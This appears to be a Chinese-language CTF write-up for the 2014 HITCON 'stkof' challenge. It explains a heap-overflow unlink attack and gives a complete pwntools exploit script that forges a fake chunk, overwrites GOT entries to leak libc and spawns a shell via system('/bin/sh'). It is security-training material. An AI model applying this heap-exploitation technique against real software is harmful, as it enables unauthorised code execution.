[Unlink] 2014-HITCON-stkof

0x00 前言

  • 本例为CTF-WIKI上面用来练习Unlink的例题。

  • 题目下载链接:下载链接

  • 参考链接:

CTF-WIKI

简书

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  1. alloc:输入 size,分配 size 大小的内存,并在 bss 段记录对应 chunk 的指针,假设其为 head
  2. read:根据指定索引,向分配的内存处读入数据,数据长度可控,这里存在堆溢出的情况
  3. free:根据指定索引,释放已经分配的内存块
  4. ????:这个功能没啥用
  • 2. read函数里面存在漏洞, 由于程序采用如下读取输入的方式,并不会对读取长度进行限制,故会造成堆溢出。
1
2
3
4
5
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
  • 这里存在一个有趣的现象:

值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。

  • 所以我们可以在前面先分配一个 chunk 来把缓冲区分配完毕,以免影响之后的操作。

  • 还有一点值得注意: 注意看1. alloc函数

  • 这里采用的::s[++dword_602100] = v2;,也就是说,第一个chunk指针是存在s[1]的位置的。

0x02 思路

  • 通过unlink漏洞,修改free@gotputs@plt,想办法输出puts函数的真实地址,计算libcbase,从而得到system地址.修改atoi@gotsystem, 输入/bin/sh的地址, 执行system('/bin/sh')获得shell。

0x03 Let’s do it!

前期模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

c = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

head = 0x602140

def alloc(size):
c.sendline('1')
c.sendline(str(size))
c.recvuntil('OK\n')

def edit(idx,cont):
c.sendline('2')
c.sendline(str(idx))
c.sendline(str(len(cont)))
c.send(cont)
c.recvuntil('OK\n')

def free(idx):
c.sendline('3')
c.sendline(str(idx))
  • 这里注意一下edit函数,由于程序读入字符串的方式比较特殊,这里选取c.send(cont)

  • 具体来讲就是,这个程序虽然不会对输入的字符串长度进行限制,但是这种读入方法不同于getsgets读到换行符就会结束,但是这个程序读到换行符会把换行符也当做一种输入,然后继续等待接下来的输入,这显然不符合我们的需求。而sendline在末尾会有换行符,所以我们采用末尾不带有换行符而是相当于带有\x00send

申请内存

  • 前面的分析里已经讲到,需要申请先申请一个chunk把缓冲区分配掉。

  • 其次还要注意他们的下标,下标是从1开始的。

    1
    2
    3
    alloc(0x100) #1
    alloc(0x30) #2
    alloc(0x80) #3
  • 分配好以后,来看一下我们的head,也就是IDA里面显示的s,这也证明了下标是从1开始。

1
2
3
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000001921020
0x602150: 0x0000000001921540 0x0000000001921580

伪造chunk

  • 由于unlink能够实现*target = target-0x18(下面会在例子中讲)

  • 我们选取target = head + 16,也就是 head[2]的地址。因为接下来我们是需要通过free掉chunk2的nextchunk,也就是free(head[3])来触发unlink,而unlink的验证则要求fd->bk == P && bk->fd == P

  • 上面如果看着有点晕, 那么简单地说就是需要target = 我们伪造的chunk所在的chunk的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
target = head + 16
fd = target - 0x18
bk = target - 0x10

payload = 'a'*8 #padding
payload += p64(0x31) #size
payload += p64(fd) #fd = target - 0x18
payload += p64(bk) #bk = target - 0x10
payload += 'a'*16 #padding

payload += p64(0x30)#overwrite chunk3's prev_size
payload += p64(0x90)#overwrite chunk3's size

edit(2, payload)
  • 执行以后我们就能在chunk2里面伪造(套娃)一个chunk,然后覆盖掉chunk3prev_sizesize里的prev_inuse标志位
  • 先看一下unlink前我们head附近的内存
1
2
3
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000001921020
0x602150: 0x0000000001921540 0x0000000001921580
  • 当程序unlink时,
1
2
3
4
5
6
7
8
9
10
11
12
13

# unlink -->

# *(fd+0x18)=bk
# *(bk+0x10)=fd

# 则

# *(head + 16) = head + 16 - 0x18

# 而 (head + 16) == target

# 即 *target = target-0x18,这里也证明了前面所说的unlink的作用。
  • 再来查看一下head附近的内存。
1
2
3
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000001921020
0x602150: 0x0000000000602138 0x0000000000000000
  • chunk3被free掉并置NULL了,chunk2的指针变成head - 0x8了。

偷梁换柱得shell

1
2
3
4
5
6
payload = 'a'*8                 #padding
payload += p64(elf.got['free']) #0下标
payload += p64(elf.got['puts']) #1下标
payload += p64(elf.got['atoi']) #2下标

edit(2,payload)
  • 执行以后,head附近的内存应该是这样。
1
2
3
4
pwndbg> x/10gx 0x602140 - 0x10
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: elf.got['free'] elf.got['puts']
0x602150: elf.got['atoi'] 0x0000000000000000
  • 接下来我们把free_got改成puts_plt,那么我们执行free(1)的话就相当于执行puts(puts_got)
1
2
3
#[free@got] = puts@plt
payload = p64(elf.plt['puts'])
edit(0,payload)
  • 那么可以通过free(1)获取puts的真实地址puts_addr,进而获得libcbasesystem了。
1
2
3
4
5
6
7
free(1)

puts_addr = c.recvuntil('\nOK\n',drop = True).ljust(8,'\x00')
print puts_addr
puts_addr = u64(puts_addr)
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
  • 然后我们有了system,就可以把atoi_got换成system了,从而获得shell。
1
2
3
4
5
6
#[atoi@got] = system
payload = p64(system_addr)
edit(2,payload)

c.sendline('/bin/sh')
c.interactive()

0x04 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# -*- coding: utf-8 -*-
from pwn import *

c = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')

head = 0x602140

def alloc(size):
c.sendline('1')
c.sendline(str(size))
c.recvuntil('OK\n')

def edit(idx,cont):
c.sendline('2')
c.sendline(str(idx))
c.sendline(str(len(cont)))
c.send(cont)
c.recvuntil('OK\n')

def free(idx):
c.sendline('3')
c.sendline(str(idx))


alloc(0x100)#1
alloc(0x30) #2
alloc(0x80) #3

#gdb.attach(c)

#fake chunk
target = head + 16
fd = target - 0x18
bk = target - 0x10

payload = 'a'*8 #padding
payload += p64(0x31) #size
payload += p64(fd) #fd = target - 0x18
payload += p64(bk) #bk = target - 0x10
payload += 'a'*16 #padding

payload += p64(0x30)#overwrite chunk3's prev_size
payload += p64(0x90)#overwrite chunk3's size

edit(2, payload)

# unlink
free(3)

c.recvuntil('OK\n')

#gdb.attach(c)

# unlink -->

# *(fd+0x18)=bk
# *(bk+0x10)=fd

# 则

# *(head + 16) = head + 16 - 0x18

# 而 (head + 16) == target

# 即 *target = target-0x18


payload = 'a'*8 #padding
payload += p64(elf.got['free']) #0下标
payload += p64(elf.got['puts']) #1下标
payload += p64(elf.got['atoi']) #2下标

edit(2,payload)


#[free@got] = puts@plt
payload = p64(elf.plt['puts'])
edit(0,payload)


free(1)

puts_addr = c.recvuntil('\nOK\n',drop = True).ljust(8,'\x00')
puts_addr = u64(puts_addr)
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']

log.success('puts_addr = ' + hex(puts_addr))
log.success('libcbase = ' + hex(libcbase))
log.success('system = ' + hex(system_addr))

#[atoi@got] = system
payload = p64(system_addr)
edit(2,payload)

c.sendline('/bin/sh')
c.interactive()